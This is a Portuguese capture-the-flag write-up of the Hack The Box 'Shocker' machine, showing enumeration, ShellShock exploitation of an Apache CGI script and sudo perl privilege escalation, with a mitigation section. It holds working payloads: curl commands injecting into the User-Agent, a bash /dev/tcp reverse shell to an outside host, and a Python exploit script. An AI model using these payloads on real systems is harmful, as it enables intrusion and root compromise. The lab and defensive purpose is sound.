Shocker
Introdução
https://app.hackthebox.com/machines/Shocker
Shocker é uma máquina Linux de dificuldade Easy da plataforma Hack The Box. O nome já entrega a pegada: o objetivo é explorar a vulnerabilidade ShellShock (CVE-2014-6271) em um script CGI do Apache para obter execução remota de comandos, e depois escalar privilégios até root abusando de uma permissão sudo mal configurada no binário perl.
O IP alvo utilizado durante o teste foi 10.10.10.56.
O script de exploração automatizado que criei para essa máquina está no final deste relatório, na seção de Anexos.
Escaneamento
O primeiro passo foi mapear portas e serviços expostos com nmap.
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.56 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -p $ports 10.10.10.56
O scan revelou basicamente dois serviços abertos: SSH (porta 22) e um servidor Apache (porta 80).
Enumeração
Porta 80 (HTTP)
Acessando o serviço web, encontramos uma página simples e estática, sem muita informação aparente.
http://10.10.10.56/
Verificando o código-fonte da página, também não encontrei nada de útil.
view-source:http://10.10.10.56/

Fuzzing de diretórios web
Sem nada visível na página, parti para um fuzzing de diretórios com gobuster.
gobuster dir -u http://10.10.10.56/ -w /usr/share/wordlists/dirb/big.txt -t 100 -e --no-error -r -f
O gobuster encontrou o diretório cgi-bin. Dado o nome da máquina (“Shocker”), já era um forte indício de que a vulnerabilidade a ser explorada seria a ShellShock, que costuma se manifestar justamente em scripts CGI executados pelo Apache. Então rodei um novo fuzzing, dessa vez dentro de /cgi-bin, testando extensões comuns de scripts (sh, cgi, pl).
gobuster dir -u http://10.10.10.56/cgi-bin -w /usr/share/wordlists/dirb/big.txt -t 100 -e --no-error -r -f -x sh,cgi,pl
Encontrei o arquivo user.sh.
user.sh
Fiz uma requisição com curl para ver o que o script retornava.
curl http://10.10.10.56/cgi-bin/user.sh
O retorno mostra a saída do comando uptime, o que sugere fortemente que se trata de um script bash sendo executado via CGI pelo Apache.
Com isso, ficou confirmada a suspeita: temos um script CGI em bash exposto pelo Apache, o cenário clássico para explorar a ShellShock.
Exploração
O alvo: Apache CGI + Bash vulnerável (CVE-2014-6271)
O serviço vulnerável aqui é o Apache HTTP Server, configurado com mod_cgi para executar o script /cgi-bin/user.sh. Esse script é um shell script comum, e quando o Apache o executa via CGI, ele repassa determinados cabeçalhos HTTP (como o User-Agent) como variáveis de ambiente para o processo do Bash que interpreta o script.
O problema está no próprio Bash, na forma como ele processa variáveis de ambiente que contêm definições de função. A vulnerabilidade é catalogada como CVE-2014-6271, também conhecida como ShellShock ou Bashdoor, divulgada em 2014. Versões vulneráveis do Bash, ao receberem uma variável de ambiente cujo valor começa com a sintaxe de definição de função (() { ... }), continuavam interpretando e executando qualquer comando colocado logo após o fechamento da função, em vez de simplesmente armazenar a definição. Isso permite que um atacante injete comandos arbitrários em qualquer contexto que repasse entrada do usuário como variável de ambiente para um Bash vulnerável — o caso mais comum sendo justamente scripts CGI, que usam cabeçalhos HTTP (User-Agent, Referer, Cookie, etc.) como variáveis de ambiente.
ShellShock (CVE-2014-6271) é uma vulnerabilidade no Bash relacionada à forma como o shell interpreta a definição de funções em variáveis de ambiente. Ela permite que um atacante execute comandos arbitrários em contextos onde deveria ser possível apenas, por exemplo, definir uma variável de ambiente de forma inofensiva.
Prova de conceito
Enviei um User-Agent malicioso contendo uma função vazia seguida do comando id, para confirmar a execução de código:
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'id' " http://10.10.10.56/cgi-bin/user.sh
O comando id foi executado no servidor, confirmando a exploração da vulnerabilidade.
Como alternativa, também é possível confirmar a vulnerabilidade usando o script http-shellshock do próprio nmap:
nmap -sV -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh 10.10.10.56

Obtendo shell
Com a vulnerabilidade confirmada, o próximo passo foi trocar o comando id por uma reverse shell. Depois de preparar um listener local com nc, enviei a seguinte requisição:
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.8/443 0>&1'" http://10.10.10.56/cgi-bin/user.sh
A shell reversa caiu no listener, dando acesso ao sistema como o usuário shelly, que roda o serviço Apache.
Pós-exploração
Escalonamento de privilégios (shelly → root)
Com a shell de baixo privilégio em mãos, verifiquei quais comandos o usuário shelly podia executar via sudo.
sudo -l
O resultado mostrou que shelly podia executar /usr/bin/perl como root, sem necessidade de senha (NOPASSWD). Consultando o GTFOBins, encontrei o comando pronto para abusar dessa permissão e obter uma shell root a partir do perl.

sudo perl -e 'exec "/bin/bash";'
Com isso obtive uma shell como root, encerrando o comprometimento total da máquina.
Anexos
Depois de resolver a máquina manualmente, escrevi um script em Python para automatizar a obtenção da shell inicial via ShellShock (shocker-getshell.py). Ele sobe um listener local em uma thread separada e, em seguida, envia o payload malicioso no cabeçalho User-Agent para /cgi-bin/user.sh, entregando uma shell interativa via telnetlib.
shocker-getshell.py
#! /usr/bin/env python3
## Author: 0xEtern4lW0lf
## Created: 18 Dez 2022
## Description: GetShell - Shocker - HTB
## ========= MODULES =========
import argparse
import requests
import socket
import telnetlib
from threading import Thread
## ========= VARIABLE =========
## Set proxy [OPTIONAL]
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
## ========= FUNCTION =========
## Set the handler
def handler(lport,target):
print(f"[+] Starting handler on {lport} [+]")
tn = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0",lport))
s.listen(1)
conn, addr = s.accept()
print(f"[+] Receiving connection from {target} [+]")
tn.sock = conn
print("[+] Habemus Shell! [+]")
tn.interact()
## Get the reverse shell
def GetShell(rhost,lhost,lport):
print("[+] Sending payload! [+]")
payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
url = f"http://{rhost}/cgi-bin/user.sh"
headers = {"User-Agent": "() { :;}; echo; /bin/bash -c '%s'" %payload}
r = requests.session()
r.get(url, headers=headers)
## main
def main():
## Parse Arguments
parser = argparse.ArgumentParser()
parser = argparse.ArgumentParser(description='GetShell - Shocker / HTB - 0xEtern4lW0lf')
parser.add_argument('-t', '--target', help='Target IP address or hostname', required=True)
parser.add_argument('-l', '--lhost', help='Local IP address or hostname', required=True)
parser.add_argument('-p', '--lport', help='Local Port to receive the shell', required=True)
args = parser.parse_args()
rhost = args.target
lhost = args.lhost
lport = args.lport
## Setup the handler
thr = Thread(target=handler,args=(int(lport),rhost))
thr.start()
## Get the reverse shell
GetShell(rhost,lhost,lport)
## ======= EXECUTION =======
if __name__ == '__main__':
main()
Mais scripts semelhantes estão disponíveis em https://github.com/0xEtern4lW0lf.
Mitigação
Para corrigir os problemas explorados nesta máquina, as seguintes ações são recomendadas:
- Atualizar o Bash. A causa raiz é a versão vulnerável do Bash. Aplicar os patches oficiais que corrigem o parsing de definições de função em variáveis de ambiente (CVE-2014-6271 e as variantes relacionadas, como CVE-2014-6277, CVE-2014-6278, CVE-2014-7169, CVE-2014-7186 e CVE-2014-7187) elimina a vulnerabilidade na raiz.
- Evitar CGI baseado em shell scripts. Sempre que possível, não usar Bash (ou qualquer shell) como interpretador de scripts CGI expostos publicamente. Preferir linguagens que não repassem variáveis de ambiente para um interpretador de shell, ou migrar para tecnologias mais modernas (FastCGI, WSGI, frameworks web) em vez de
mod_cgi. - Restringir e sanitizar cabeçalhos repassados ao CGI. Configurar o Apache para não expor cabeçalhos sensíveis (como
User-Agent) como variáveis de ambiente sem necessidade, e validar/filtrar qualquer entrada externa antes de processá-la. - Aplicar o princípio do menor privilégio no sudoers. A permissão
NOPASSWD: /usr/bin/perlconcedida ao usuárioshellyé perigosa por si só, já que o perl é um binário listado no GTFOBins como vetor de escalonamento de privilégios. Nunca conceder permissão de sudo irrestrita a interpretadores de linguagem genéricos (perl, python, ruby, etc.). Se for realmente necessário, restringir o comando a um script específico, com caminho fixo e sem permitir argumentos livres (sudoerscomCmnd_Aliasbem definido). - Monitorar e logar acessos ao
cgi-bin. Regras de WAF/IDS que detectem o padrão() {em cabeçalhos HTTP ajudam a identificar tentativas de exploração da ShellShock em tempo real. - Segmentar e monitorar sudo. Auditar periodicamente a saída de
sudo -lpara todos os usuários do sistema, evitando o acúmulo de permissões desnecessárias ao longo do tempo.